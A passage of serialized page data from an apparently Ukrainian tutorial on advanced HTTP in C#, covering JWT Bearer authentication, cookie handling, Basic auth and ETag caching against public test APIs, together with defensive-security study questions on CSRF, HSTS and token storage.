ServiceCollection",[3433,18197,4824],{"class":4749},[3433,18199,18200,18202,18205,18207,18209,18212],{"class":3435,"line":3479},[3433,18201,4808],{"class":3923},[3433,18203,18204],{"class":4811}," tokenStorage",[3433,18206,4815],{"class":4749},[3433,18208,4818],{"class":3923},[3433,18210,18211],{"class":4745}," TokenStorage",[3433,18213,4824],{"class":4749},[3433,18215,18216],{"class":3435,"line":3484},[3433,18217,3458],{"emptyLinePlaceholder":3457},[3433,18219,18220,18223,18225,18228,18230,18233],{"class":3435,"line":3490},[3433,18221,18222],{"class":4811},"services",[3433,18224,3670],{"class":4749},[3433,18226,18227],{"class":4967},"AddSingleton",[3433,18229,4895],{"class":4749},[3433,18231,18232],{"class":4811},"tokenStorage",[3433,18234,4976],{"class":4749},[3433,18236,18237,18239,18241,18244,18246,18249],{"class":3435,"line":3496},[3433,18238,18222],{"class":4811},[3433,18240,3670],{"class":4749},[3433,18242,18243],{"class":4967},"AddTransient",[3433,18245,5005],{"class":4749},[3433,18247,18248],{"class":4745},"AuthHandler",[3433,18250,7893],{"class":4749},[3433,18252,18253],{"class":3435,"line":3502},[3433,18254,3458],{"emptyLinePlaceholder":3457},[3433,18256,18257],{"class":3435,"line":3508},[3433,18258,18259],{"class":4802},"\u002F\u002F \"Auth\" клієнт — для auth-запитів (без AuthHandler!)\n",[3433,18261,18262,18264,18266,18269,18271,18273,18275,18277],{"class":3435,"line":3513},[3433,18263,18222],{"class":4811},[3433,18265,3670],{"class":4749},[3433,18267,18268],{"class":4967},"AddHttpClient",[3433,18270,4895],{"class":4749},[3433,18272,17468],{"class":3926},[3433,18274,4263],{"class":4749},[3433,18276,5955],{"class":4811},[3433,18278,16481],{"class":4749},[3433,18280,18281,18284,18286,18288,18290,18292,18294,18296,18298],{"class":3435,"line":3519},[3433,18282,18283],{"class":4811},"    c",[3433,18285,3670],{"class":4749},[3433,18287,7753],{"class":4811},[3433,18289,4815],{"class":4749},[3433,18291,4818],{"class":3923},[3433,18293,4917],{"class":4745},[3433,18295,4895],{"class":4749},[3433,18297,7764],{"class":3926},[3433,18299,12654],{"class":4749},[3433,18301,18302],{"class":3435,"line":3525},[3433,18303,3458],{"emptyLinePlaceholder":3457},[3433,18305,18306],{"class":3435,"line":3531},[3433,18307,18308],{"class":4802},"\u002F\u002F \"Api\" клієнт — з AuthHandler у pipeline\n",[3433,18310,18311,18313,18315,18317,18319,18322,18324,18326],{"class":3435,"line":3537},[3433,18312,18222],{"class":4811},[3433,18314,3670],{"class":4749},[3433,18316,18268],{"class":4967},[3433,18318,4895],{"class":4749},[3433,18320,18321],{"class":3926},"\"Api\"",[3433,18323,4263],{"class":4749},[3433,18325,5955],{"class":4811},[3433,18327,16481],{"class":4749},[3433,18329,18330,18332,18334,18336,18338,18340,18342,18344,18346],{"class":3435,"line":3542},[3433,18331,18283],{"class":4811},[3433,18333,3670],{"class":4749},[3433,18335,7753],{"class":4811},[3433,18337,4815],{"class":4749},[3433,18339,4818],{"class":3923},[3433,18341,4917],{"class":4745},[3433,18343,4895],{"class":4749},[3433,18345,7764],{"class":3926},[3433,18347,5538],{"class":4749},[3433,18349,18350,18352,18355,18357,18359],{"class":3435,"line":3548},[3433,18351,5934],{"class":4749},[3433,18353,18354],{"class":4967},"AddHttpMessageHandler",[3433,18356,5005],{"class":4749},[3433,18358,18248],{"class":4745},[3433,18360,7893],{"class":4749},[3433,18362,18363],{"class":3435,"line":3554},[3433,18364,3458],{"emptyLinePlaceholder":3457},[3433,18366,18367,18369,18372,18374,18376,18378,18381],{"class":3435,"line":3560},[3433,18368,4808],{"class":3923},[3433,18370,18371],{"class":4811}," sp",[3433,18373,4815],{"class":4749},[3433,18375,18222],{"class":4811},[3433,18377,3670],{"class":4749},[3433,18379,18380],{"class":4967},"BuildServiceProvider",[3433,18382,4824],{"class":4749},[3433,18384,18385,18387,18389,18391,18394,18396,18399,18401,18403],{"class":3435,"line":3565},[3433,18386,4808],{"class":3923},[3433,18388,16831],{"class":4811},[3433,18390,4815],{"class":4749},[3433,18392,18393],{"class":4811},"sp",[3433,18395,3670],{"class":4749},[3433,18397,18398],{"class":4967},"GetRequiredService",[3433,18400,5005],{"class":4749},[3433,18402,16828],{"class":4745},[3433,18404,7893],{"class":4749},[3433,18406,18407],{"class":3435,"line":3570},[3433,18408,3458],{"emptyLinePlaceholder":3457},[3433,18410,18411],{"class":3435,"line":3576},[3433,18412,18413],{"class":4802},"\u002F\u002F ── Логін ────────────────────────────────────────────────────────────────────\n",[3433,18415,18416,18418,18421,18423,18425,18427,18429,18431,18433],{"class":3435,"line":3582},[3433,18417,4808],{"class":3923},[3433,18419,18420],{"class":4811}," authClient",[3433,18422,4815],{"class":4749},[3433,18424,17458],{"class":4811},[3433,18426,3670],{"class":4749},[3433,18428,17463],{"class":4967},[3433,18430,4895],{"class":4749},[3433,18432,17468],{"class":3926},[3433,18434,4976],{"class":4749},[3433,18436,18437],{"class":3435,"line":3587},[3433,18438,18439],{"class":4802},"\u002F\u002F dummyjson.com: POST \u002Fauth\u002Flogin {username, password}\n",[3433,18441,18442,18444,18447,18449,18451,18453,18455,18457,18459,18461,18463,18465,18467,18469,18471,18473,18475],{"class":3435,"line":3592},[3433,18443,4808],{"class":3923},[3433,18445,18446],{"class":4811}," loginBody",[3433,18448,4815],{"class":4749},[3433,18450,4818],{"class":3923},[3433,18452,5337],{"class":4749},[3433,18454,7791],{"class":4811},[3433,18456,4815],{"class":4749},[3433,18458,7796],{"class":3926},[3433,18460,4263],{"class":4749},[3433,18462,7801],{"class":4811},[3433,18464,4815],{"class":4749},[3433,18466,7806],{"class":3926},[3433,18468,4263],{"class":4749},[3433,18470,7811],{"class":4811},[3433,18472,4815],{"class":4749},[3433,18474,7816],{"class":5604},[3433,18476,5357],{"class":4749},[3433,18478,18479,18481,18483,18485,18487,18489,18491,18493,18495,18497,18499,18502],{"class":3435,"line":3598},[3433,18480,4808],{"class":3923},[3433,18482,5473],{"class":4811},[3433,18484,4815],{"class":4749},[3433,18486,4960],{"class":3923},[3433,18488,18420],{"class":4811},[3433,18490,3670],{"class":4749},[3433,18492,7836],{"class":4967},[3433,18494,4895],{"class":4749},[3433,18496,7841],{"class":3926},[3433,18498,4263],{"class":4749},[3433,18500,18501],{"class":4811},"loginBody",[3433,18503,4976],{"class":4749},[3433,18505,18506],{"class":3435,"line":3604},[3433,18507,3458],{"emptyLinePlaceholder":3457},[3433,18509,18510,18512,18514,18516,18518,18520],{"class":3435,"line":3610},[3433,18511,5505],{"class":4741},[3433,18513,4638],{"class":4749},[3433,18515,5510],{"class":4811},[3433,18517,3670],{"class":4749},[3433,18519,8297],{"class":4811},[3433,18521,4901],{"class":4749},[3433,18523,18524],{"class":3435,"line":3615},[3433,18525,4843],{"class":4749},[3433,18527,18528,18530,18533,18535,18537,18539,18541,18543,18545,18547,18549,18551],{"class":3435,"line":3620},[3433,18529,8219],{"class":3923},[3433,18531,18532],{"class":4811}," tokens",[3433,18534,4815],{"class":4749},[3433,18536,4960],{"class":3923},[3433,18538,5473],{"class":4811},[3433,18540,3670],{"class":4749},[3433,18542,7880],{"class":4811},[3433,18544,3670],{"class":4749},[3433,18546,7885],{"class":4967},[3433,18548,5005],{"class":4749},[3433,18550,7890],{"class":4745},[3433,18552,7893],{"class":4749},[3433,18554,18555,18557,18560,18562,18565,18568,18570,18572,18574,18576,18578,18580,18582,18584,18586],{"class":3435,"line":3626},[3433,18556,9127],{"class":3923},[3433,18558,18559],{"class":4811}," expiresIn",[3433,18561,4815],{"class":4749},[3433,18563,18564],{"class":4811},"tokens",[3433,18566,18567],{"class":4749},"!.",[3433,18569,17697],{"class":4811},[3433,18571,17700],{"class":4749},[3433,18573,5605],{"class":5604},[3433,18575,11411],{"class":4749},[3433,18577,18564],{"class":4811},[3433,18579,3670],{"class":4749},[3433,18581,17697],{"class":4811},[3433,18583,11417],{"class":4749},[3433,18585,8436],{"class":5604},[3433,18587,4755],{"class":4749},[3433,18589,18590,18593,18595,18597,18599,18601,18603,18605,18607,18609,18611,18613,18615,18618],{"class":3435,"line":3632},[3433,18591,18592],{"class":4811},"    tokenStorage",[3433,18594,3670],{"class":4749},[3433,18596,17672],{"class":4967},[3433,18598,4895],{"class":4749},[3433,18600,18564],{"class":4811},[3433,18602,18567],{"class":4749},[3433,18604,7920],{"class":4811},[3433,18606,4263],{"class":4749},[3433,18608,18564],{"class":4811},[3433,18610,3670],{"class":4749},[3433,18612,8202],{"class":4811},[3433,18614,4263],{"class":4749},[3433,18616,18617],{"class":4811},"expiresIn",[3433,18619,4976],{"class":4749},[3433,18621,18622,18624,18626,18628,18630,18633],{"class":3435,"line":3637},[3433,18623,5075],{"class":4811},[3433,18625,3670],{"class":4749},[3433,18627,5080],{"class":4967},[3433,18629,4895],{"class":4749},[3433,18631,18632],{"class":3926},"\"✅ Аутентифікація успішна\"",[3433,18634,4976],{"class":4749},[3433,18636,18637],{"class":3435,"line":3642},[3433,18638,3813],{"class":4749},[3433,18640,18641],{"class":3435,"line":3895},[3433,18642,3458],{"emptyLinePlaceholder":3457},[3433,18644,18645],{"class":3435,"line":3900},[3433,18646,18647],{"class":4802},"\u002F\u002F ── Захищені запити — Bearer token додається автоматично ──────────────────────\n",[3433,18649,18650,18652,18655,18657,18659,18661,18663,18665,18667],{"class":3435,"line":5248},[3433,18651,4808],{"class":3923},[3433,18653,18654],{"class":4811}," apiClient",[3433,18656,4815],{"class":4749},[3433,18658,17458],{"class":4811},[3433,18660,3670],{"class":4749},[3433,18662,17463],{"class":4967},[3433,18664,4895],{"class":4749},[3433,18666,18321],{"class":3926},[3433,18668,4976],{"class":4749},[3433,18670,18671],{"class":3435,"line":5273},[3433,18672,3458],{"emptyLinePlaceholder":3457},[3433,18674,18675],{"class":3435,"line":6516},[3433,18676,18677],{"class":4802},"\u002F\u002F GET \u002Fauth\u002Fme — профіль поточного користувача (dummyjson перевіряє Bearer)\n",[3433,18679,18680,18682,18684,18686,18688,18690,18692,18694,18696,18698],{"class":3435,"line":6522},[3433,18681,4808],{"class":3923},[3433,18683,8067],{"class":4811},[3433,18685,4815],{"class":4749},[3433,18687,4960],{"class":3923},[3433,18689,18654],{"class":4811},[3433,18691,3670],{"class":4749},[3433,18693,4968],{"class":4967},[3433,18695,4895],{"class":4749},[3433,18697,8043],{"class":3926},[3433,18699,4976],{"class":4749},[3433,18701,18702,18704,18706,18708,18710,18713,18715,18717,18719,18721,18723,18725],{"class":3435,"line":6527},[3433,18703,7898],{"class":4811},[3433,18705,3670],{"class":4749},[3433,18707,5080],{"class":4967},[3433,18709,4895],{"class":4749},[3433,18711,18712],{"class":3926},"$\"Profile: ",[3433,18714,5089],{"class":5088},[3433,18716,8106],{"class":4811},[3433,18718,3670],{"class":5088},[3433,18720,12745],{"class":4811},[3433,18722,5100],{"class":5088},[3433,18724,5117],{"class":3926},[3433,18726,4976],{"class":4749},[3433,18728,18729],{"class":3435,"line":6532},[3433,18730,3458],{"emptyLinePlaceholder":3457},[3433,18732,18733],{"class":3435,"line":8453},[3433,18734,18735],{"class":4802},"\u002F\u002F GET \u002Fauth\u002Fcarts — кошики поточного користувача (dummyjson protected endpoint)\n",[3433,18737,18738,18740,18743,18745,18747,18749,18751,18753,18755,18758],{"class":3435,"line":10849},[3433,18739,4808],{"class":3923},[3433,18741,18742],{"class":4811}," carts",[3433,18744,4815],{"class":4749},[3433,18746,4960],{"class":3923},[3433,18748,18654],{"class":4811},[3433,18750,3670],{"class":4749},[3433,18752,4968],{"class":4967},[3433,18754,4895],{"class":4749},[3433,18756,18757],{"class":3926},"\"auth\u002Fcarts\"",[3433,18759,4976],{"class":4749},[3433,18761,18762,18764,18766,18768,18770,18773,18775,18778,18780,18782,18784,18786],{"class":3435,"line":10854},[3433,18763,7898],{"class":4811},[3433,18765,3670],{"class":4749},[3433,18767,5080],{"class":4967},[3433,18769,4895],{"class":4749},[3433,18771,18772],{"class":3926},"$\"Carts: ",[3433,18774,5089],{"class":5088},[3433,18776,18777],{"class":4811},"carts",[3433,18779,3670],{"class":5088},[3433,18781,12745],{"class":4811},[3433,18783,5100],{"class":5088},[3433,18785,5117],{"class":3926},[3433,18787,4976],{"class":4749},[3433,18789,18790],{"class":3435,"line":10872},[3433,18791,3458],{"emptyLinePlaceholder":3457},[3433,18793,18794,18796,18798,18800,18802,18804,18806,18808,18810,18812,18814,18816,18818,18820],{"class":3435,"line":10877},[3433,18795,8406],{"class":3923},[3433,18797,8409],{"class":4745},[3433,18799,4895],{"class":4749},[3433,18801,3940],{"class":3923},[3433,18803,8416],{"class":4811},[3433,18805,4263],{"class":4749},[3433,18807,3940],{"class":3923},[3433,18809,8423],{"class":4811},[3433,18811,4263],{"class":4749},[3433,18813,8428],{"class":3923},[3433,18815,8431],{"class":4811},[3433,18817,4815],{"class":4749},[3433,18819,8436],{"class":5604},[3433,18821,4976],{"class":4749},[18823,18824,18826,18831,18840,18848,18852,18859,18866],"terminal-preview",{"title":18825},"dotnet run — AuthClient",[18827,18828,18830],"div",{"className":18829},[3435],"✅ Аутентифікація успішна",[18827,18832,18834,18835],{"className":18833},[3435],"  ",[3433,18836,18839],{"className":18837},[18838],"text-gray-400","→ GET \u002Fauth\u002Fme (Bearer eyJhbGc...)",[18827,18841,18834,18843],{"className":18842},[3435],[3433,18844,18847],{"className":18845},[18846],"text-green-400","← 200 OK (87ms)",[18827,18849,18851],{"className":18850},[3435],"Profile: OK",[18827,18853,18834,18855],{"className":18854},[3435],[3433,18856,18858],{"className":18857},[18838],"→ GET \u002Fauth\u002Fcarts (Bearer eyJhbGc...)",[18827,18860,18834,18862],{"className":18861},[3435],[3433,18863,18865],{"className":18864},[18846],"← 200 OK (112ms)",[18827,18867,18869],{"className":18868},[3435],"Carts: OK",[3647,18871],{},[3312,18873,18875],{"id":18874},"практика-та-закріплення","Практика та закріплення",[3317,18877,18878],{},"HTTP Advanced охоплює механізми, що є основою реальних вебзастосунків.",[3654,18880,18882],{"id":18881},"рівень-1-базове-розуміння","Рівень 1. Базове розуміння",[18884,18885,18886,18895,18906,18912,18921,18927,18934,18937],"ol",{},[3689,18887,18888,18889,4197,18891,18894],{},"Поясніть різницю між ",[3321,18890,3980],{},[3321,18892,18893],{},"persistent cookie",". Коли слід використовувати кожен тип? Наведіть практичні сценарії.",[3689,18896,18897,18898,18900,18901,18903,18904,7915],{},"Що таке CSRF-атака і як атрибут ",[3430,18899,4592],{}," захищає від неї? Чому ",[3430,18902,4317],{}," небезпечний без ",[3430,18905,3998],{},[3689,18907,18908,18909,18911],{},"Чому ",[3430,18910,4104],{}," prefix безпечніший за звичайний session cookie? Яку атаку він запобігає?",[3689,18913,18888,18914,4197,18917,18920],{},[3430,18915,18916],{},"401 Unauthorized",[3430,18918,18919],{},"403 Forbidden"," у контексті аутентифікації та авторизації. Наведіть сценарій для кожного.",[3689,18922,18923,18924,18926],{},"Чому JWT не слід зберігати у ",[3430,18925,7583],{},"? Де правильно зберігати access token та refresh token в SPA?",[3689,18928,18929,18930,18933],{},"Які три властивості забезпечує TLS? Чи може TLS захистити від підміни даних ",[3321,18931,18932],{},"після"," того, як вони дійшли до сервера?",[3689,18935,18936],{},"Поясніть, чому HSTS захищає від SSLstrip навіть якщо сервер вже підтримує HTTPS.",[3689,18938,18939],{},"Що таке Certificate Transparency і чому вона важлива для безпеки?",[3654,18941,18943],{"id":18942},"рівень-2-практична-реалізація","Рівень 2. Практична реалізація",[18884,18945,18946,18978,19000,19019],{},[3689,18947,18948,18949,18952,18953],{},"Реалізуйте ",[3430,18950,18951],{},"CookieAuthHandler : DelegatingHandler",", що:",[3686,18954,18955,18961,18964,18971],{},[3689,18956,18957,18958,5058],{},"При першому запиті перевіряє наявність збереженого ",[3430,18959,18960],{},"__Host-session",[3689,18962,18963],{},"Якщо відсутній — виконує логін і зберігає session ID",[3689,18965,18966,18967,18970],{},"Додає ",[3430,18968,18969],{},"Cookie: __Host-session=..."," до кожного наступного запиту",[3689,18972,18973,18974,18977],{},"При отриманні ",[3430,18975,18976],{},"401"," очищає cookie і повторює логін один раз",[3689,18979,18980,18981],{},"Напишіть консольний застосунок, що демонструє conditional GET:",[3686,18982,18983,18990,18997],{},[3689,18984,18985,18986,18989],{},"Перший ",[3430,18987,18988],{},"GET \u002Fapi\u002Fproducts"," → зберегти ETag та Last-Modified",[3689,18991,18992,18993,4197,18995],{},"Другий запит з ",[3430,18994,12069],{},[3430,18996,12311],{},[3689,18998,18999],{},"Порівняти кількість завантажених байт між двома запитами",[3689,19001,19002,19003],{},"Реалізуйте CORS-аудитор як консольну утиліту:",[3686,19004,19005,19008,19013,19016],{},[3689,19006,19007],{},"Приймає origin URL та цільовий API URL",[3689,19009,19010,19011,15120],{},"Надсилає ",[3430,19012,14369],{},[3689,19014,19015],{},"Виводить дозволені методи, заголовки, credentials, max-age",[3689,19017,19018],{},"Перевіряє наявність security headers (HSTS, CSP, X-Content-Type-Options)",[3689,19020,18948,19021,19024,19025],{},[3430,19022,19023],{},"SecurityHeadersAuditor",", що аналізує сайт на наявність:",[3686,19026,19027,19032,19038,19043,19047],{},[3689,19028,19029,19030],{},"HSTS з ",[3430,19031,10005],{},[3689,19033,19034,19035],{},"CSP з директивою ",[3430,19036,19037],{},"script-src 'self'",[3689,19039,19040],{},[3430,19041,19042],{},"X-Content-Type-Options: nosniff",[3689,19044,19045],{},[3430,19046,11106],{},[3689,19048,19049],{},"Виводить оцінку безпеки від A до F",[3654,19051,19053],{"id":19052},"рівень-3-архітектурне-мислення","Рівень 3. Архітектурне мислення",[18884,19055,19056,19086,19109],{},[3689,19057,19058,19059,19062,19063],{},"Спроектуйте ",[3430,19060,19061],{},"TokenManager"," з підтримкою:",[3686,19064,19065,19074,19080],{},[3689,19066,19067,19070,19071,14399],{},[3321,19068,19069],{},"Concurrent refresh protection",": якщо кілька потоків одночасно виявили протухлий токен — refresh відбувається лише один раз (",[3430,19072,19073],{},"SemaphoreSlim",[3689,19075,19076,19079],{},[3321,19077,19078],{},"Exponential backoff"," при невдалих спробах refresh (1s, 2s, 4s, max 30s)",[3689,19081,19082,19085],{},[3321,19083,19084],{},"Secure storage",": токени не зберігаються у plaintext",[3689,19087,19088,19089],{},"Проаналізуйте безпеку підходів до зберігання JWT:",[3686,19090,19091,19096,19101,19106],{},[3689,19092,19093,19095],{},[3430,19094,7583],{}," — які атаки можливі?",[3689,19097,19098,19100],{},[3430,19099,7602],{}," — чим відрізняється від localStorage?",[3689,19102,19103,19105],{},[3430,19104,7619],{}," — які атаки можливі? Як поєднати з CSRF-захистом?",[3689,19107,19108],{},"Memory-only — як відновити після reload?",[3689,19110,19111,19112],{},"Спроектуйте систему відкликання JWT токенів для API з:",[3686,19113,19114,19117,19120,19123],{},[3689,19115,19116],{},"Short-lived access tokens (15 хв) + long-lived refresh tokens (30 днів)",[3689,19118,19119],{},"Refresh token rotation при кожному оновленні",[3689,19121,19122],{},"Виявлення компрометованих refresh tokens (reuse detection)",[3689,19124,19125],{},"Відкликання всіх сесій користувача (\"вийти з усіх пристроїв\")",[4153,19127,19128,19129,19132],{},"При роботі з аутентифікацією завжди мислите ",[3321,19130,19131],{},"моделлю загроз",": хто атакує, що він може зробити, і як ваш механізм захищає. Ідеальної схеми немає — є компроміси між безпекою, зручністю і складністю реалізації.",[3647,19134],{},[3312,19136,19138],{"id":19137},"контрольні-питання","Контрольні питання",[18884,19140,19141,19152,19159,19165,19173,19184,19187,19190,19193,19200,19208,19214,19223,19229,19237],{},[3689,19142,19143,19144,19147,19148,19151],{},"В чому принципова різниця між HTTP ",[3321,19145,19146],{},"аутентифікацією"," (authentication) та ",[3321,19149,19150],{},"авторизацією"," (authorization)?",[3689,19153,19154,19155,19158],{},"Чому сервер відповідає ",[3430,19156,19157],{},"Set-Cookie: __Host-session=; Max-Age=0; Secure"," при logout, а не просто закриває з'єднання?",[3689,19160,19161,19162,19164],{},"Що означає атрибут ",[3430,19163,4007],{}," у cookie? Від якої конкретної атаки він захищає і чому він не захищає від CSRF?",[3689,19166,19167,19168,19170,19171,3670],{},"Поясніть, чому ",[3430,19169,14623],{}," несумісний з ",[3430,19172,14616],{},[3689,19174,19175,19176,4197,19178,19180,19181,19183],{},"В чому різниця між ",[3430,19177,15461],{},[3430,19179,15520],{}," редиректами при ",[3430,19182,14345],{},"-запиті?",[3689,19185,19186],{},"Що таке HSTS і навіщо він потрібен, якщо сервер вже підтримує HTTPS? Що відбудеться при першому візиті до сайту без HSTS Preload?",[3689,19188,19189],{},"Чому JWT access tokens зазвичай мають короткий термін (15–60 хвилин)?",[3689,19191,19192],{},"Що таке PKCE і від якої атаки він захищає в Authorization Code Flow?",[3689,19194,19195,19196,19199],{},"Яку роль відіграє ",[3430,19197,19198],{},"Vary: Accept-Encoding"," у HTTP-кешуванні CDN? Що відбудеться без нього?",[3689,19201,18888,19202,19204,19205,19207],{},[3321,19203,7452],{}," (symmetric) та ",[3321,19206,7488],{}," (asymmetric) підписом JWT. Коли слід використовувати кожен?",[3689,19209,19210,19211,19213],{},"Що таке ",[3321,19212,9275],{}," і як він допомагає виявляти компрометовані refresh tokens?",[3689,19215,18908,19216,19219,19220,19222],{},[3430,19217,19218],{},"stale-while-revalidate"," краще підходить для API, ніж просто ",[3430,19221,9985],{}," без можливості фонового оновлення?",[3689,19224,19210,19225,19228],{},[3321,19226,19227],{},"Session Fixation"," і яке єдине ефективне рішення проти неї?",[3689,19230,18888,19231,19233,19234,19236],{},[3321,19232,12065],{}," і ",[3321,19235,12244],{}," для conditional GET. Коли ETag точніший?",[3689,19238,19210,19239,19241],{},[3430,19240,10978],{}," і як він допомагає навіть за наявності XSS-вразливості в коді?",[3336,19243,19244,19245,19248],{},"Якщо ви впевнено відповідаєте на всі питання, маєте достатню базу для вивчення наступного розділу: ",[3321,19246,19247],{},"HTTP-сервер на C# — від сокету до ASP.NET Core",". Там ми перейдемо на сторону сервера і розберемо, як приймати та обробляти ці самі запити.",[3647,19250],{},[3312,19252,19254],{"id":19253},"повний-робочий-приклад-httpplayground","Повний робочий приклад: HttpPlayground",[3317,19256,19257],{},"Консольний застосунок, що демонструє всі ключові концепції HTTP Advanced із реальними публічними API — без моків, без localhost, прямий копіпаст і запуск.",[3654,19259,19261],{"id":19260},"структура-та-залежності","Структура та залежності",[3423,19263,19267],{"className":19264,"code":19265,"language":19266,"meta":3428,"style":3428},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","dotnet new console -n HttpPlayground\ncd HttpPlayground\ndotnet run\n","bash",[3430,19268,19269,19286,19293],{"__ignoreMap":3428},[3433,19270,19271,19274,19277,19280,19283],{"class":3435,"line":3436},[3433,19272,19273],{"class":4967},"dotnet",[3433,19275,19276],{"class":3926}," new",[3433,19278,19279],{"class":3926}," console",[3433,19281,19282],{"class":3923}," -n",[3433,19284,19285],{"class":3926}," HttpPlayground\n",[3433,19287,19288,19291],{"class":3435,"line":3442},[3433,19289,19290],{"class":4967},"cd",[3433,19292,19285],{"class":3926},[3433,19294,19295,19297],{"class":3435,"line":3448},[3433,19296,19273],{"class":4967},[3433,19298,19299],{"class":3926}," run\n",[19301,19302,19303],"blockquote",{},[3317,19304,19305,19306,4197,19309,19312],{},"Потрібен лише .NET 8+. Жодних додаткових пакетів — ",[3430,19307,19308],{},"System.Net.Http.Json",[3430,19310,19311],{},"System.Text.Json"," входять у SDK.",[3654,19314,19316],{"id":19315},"programcs-повний-код","Program.cs — повний код",[3423,19318,19320],{"className":4731,"code":19319,"language":4733,"meta":4734,"style":3428},"\u002F\u002F HttpPlayground — демонстрація HTTP Advanced з реальними API\n\u002F\u002F Запуск: dotnet new console -n HttpPlayground && cd HttpPlayground && dotnet run\n\nusing System.Net;\nusing System.Net.Http.Headers;\nusing System.Net.Http.Json;\nusing System.Text;\nusing System.Text.Json;\n\nConsole.OutputEncoding = Encoding.UTF8;\n\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n\u002F\u002F 1. JWT АУТЕНТИФІКАЦІЯ — dummyjson.com\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\nConsole.WriteLine(\"═══ 1. JWT Authentication (dummyjson.com) ═══\");\n\nusing var jwtClient = new HttpClient { BaseAddress = new Uri(\"https:\u002F\u002Fdummyjson.com\u002F\") };\n\n\u002F\u002F POST \u002Fauth\u002Flogin → справжній JWT access + refresh token\nvar loginResp = await jwtClient.PostAsJsonAsync(\"auth\u002Flogin\", new\n{\n    username = \"emilys\",\n    password = \"emilyspass\",\n    expiresInMins = 30\n});\nloginResp.EnsureSuccessStatusCode();\n\nvar tokenData = await loginResp.Content.ReadFromJsonAsync\u003CJsonElement>();\nstring accessToken = tokenData.GetProperty(\"accessToken\").GetString()!;\nstring refreshToken = tokenData.GetProperty(\"refreshToken\").GetString()!;\nConsole.WriteLine($\"✅ JWT отримано: {accessToken[..40]}...\");\n\n\u002F\u002F Декодуємо payload (Base64URL) — демонстрація структури JWT без перевірки підпису\nstring[] parts = accessToken.Split('.');\nstring payloadJson = Encoding.UTF8.GetString(Convert.FromBase64String(PadBase64(parts[1])));\nvar payload = JsonDocument.Parse(payloadJson).RootElement;\nConsole.WriteLine($\"   sub (id):  {payload.GetProperty(\"id\")}\");\nConsole.WriteLine($\"   username:  {payload.GetProperty(\"username\").GetString()}\");\n\n\u002F\u002F Захищений запит — GET \u002Fauth\u002Fme з Bearer токеном\njwtClient.DefaultRequestHeaders.Authorization =\n    new AuthenticationHeaderValue(\"Bearer\", accessToken);\n\nvar meResp = await jwtClient.GetAsync(\"auth\u002Fme\");\nmeResp.EnsureSuccessStatusCode();\nvar me = await meResp.Content.ReadFromJsonAsync\u003CJsonElement>();\nConsole.WriteLine($\"   Профіль:   {me.GetProperty(\"firstName\")} {me.GetProperty(\"lastName\")}\");\nConsole.WriteLine($\"   Email:     {me.GetProperty(\"email\")}\");\n\n\u002F\u002F Оновлення токену через Refresh Token\nvar refreshResp = await jwtClient.PostAsJsonAsync(\"auth\u002Frefresh\",\n    new { refreshToken, expiresInMins = 30 });\nvar newTokens = await refreshResp.Content.ReadFromJsonAsync\u003CJsonElement>();\nConsole.WriteLine($\"✅ Токен оновлено: {newTokens.GetProperty(\"accessToken\").GetString()![..40]}...\");\n\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n\u002F\u002F 2. COOKIE MANAGEMENT — httpbingo.org\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\nConsole.WriteLine(\"\\n═══ 2. Cookie Management (httpbingo.org) ═══\");\n\nvar cookieContainer = new CookieContainer();\nvar cookieHandler = new HttpClientHandler { CookieContainer = cookieContainer };\nusing var cookieClient = new HttpClient(cookieHandler)\n{\n    BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\")\n};\n\n\u002F\u002F \u002Fcookies\u002Fset встановлює cookie через 302-редирект\n\u002F\u002F CookieContainer автоматично слідує і зберігає Set-Cookie\nawait cookieClient.GetAsync(\"cookies\u002Fset?session=token_xyz123\");\nawait cookieClient.GetAsync(\"cookies\u002Fset?theme=dark\");\n\nvar storedCookies = cookieContainer.GetCookies(new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\"));\nConsole.WriteLine($\"✅ CookieContainer має {storedCookies.Count} cookies:\");\nforeach (Cookie c in storedCookies)\n    Console.WriteLine($\"   {c.Name}={c.Value}  HttpOnly={c.HttpOnly}\");\n\n\u002F\u002F CookieContainer автоматично надсилає cookies у наступних запитах\nvar cookiesResp = await cookieClient.GetAsync(\"cookies\");\nvar cookieBody = await cookiesResp.Content.ReadFromJsonAsync\u003CJsonElement>();\nConsole.Write(\"   httpbingo бачить: \");\nforeach (var prop in cookieBody.GetProperty(\"cookies\").EnumerateObject())\n    Console.Write($\"{prop.Name}={prop.Value}  \");\nConsole.WriteLine();\n\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n\u002F\u002F 3. BASIC AUTH — httpbingo.org\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\nConsole.WriteLine(\"\\n═══ 3. Basic Auth (httpbingo.org) ═══\");\n\nusing var basicClient = new HttpClient();\n\n\u002F\u002F Невірні облікові дані → 401 Unauthorized\nvar wrongReq = new HttpRequestMessage(HttpMethod.Get,\n    \"https:\u002F\u002Fhttpbingo.org\u002Fbasic-auth\u002Falice\u002Fsecret\");\nwrongReq.Headers.Authorization = new AuthenticationHeaderValue(\n    \"Basic\", Convert.ToBase64String(Encoding.UTF8.GetBytes(\"alice:wrong\")));\nvar wrongResp = await basicClient.SendAsync(wrongReq);\nConsole.WriteLine($\"✅ Невірний пароль: {wrongResp.StatusCode}\");\n\n\u002F\u002F Правильні облікові дані → 200 OK\nvar rightReq = new HttpRequestMessage(HttpMethod.Get,\n    \"https:\u002F\u002Fhttpbingo.org\u002Fbasic-auth\u002Falice\u002Fsecret\");\nrightReq.Headers.Authorization = new AuthenticationHeaderValue(\n    \"Basic\", Convert.ToBase64String(Encoding.UTF8.GetBytes(\"alice:secret\")));\nvar rightResp = await basicClient.SendAsync(rightReq);\nvar authBody = await rightResp.Content.ReadFromJsonAsync\u003CJsonElement>();\nConsole.WriteLine($\"✅ Правильні дані: {rightResp.StatusCode}, authenticated={authBody.GetProperty(\"authenticated\")}\");\n\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\n\u002F\u002F 4. ETAG CACHING — httpbingo.org\n\u002F\u002F ════════════════════════════════════════════════════════════════════════════\nConsole.WriteLine(\"\\n═══ 4. ETag Caching (httpbingo.org) ═══\");\n\nusing var cacheClient = new HttpClient { BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\") };\n\n\u002F\u002F Перший запит — отримуємо ETag\nvar firstResp = await 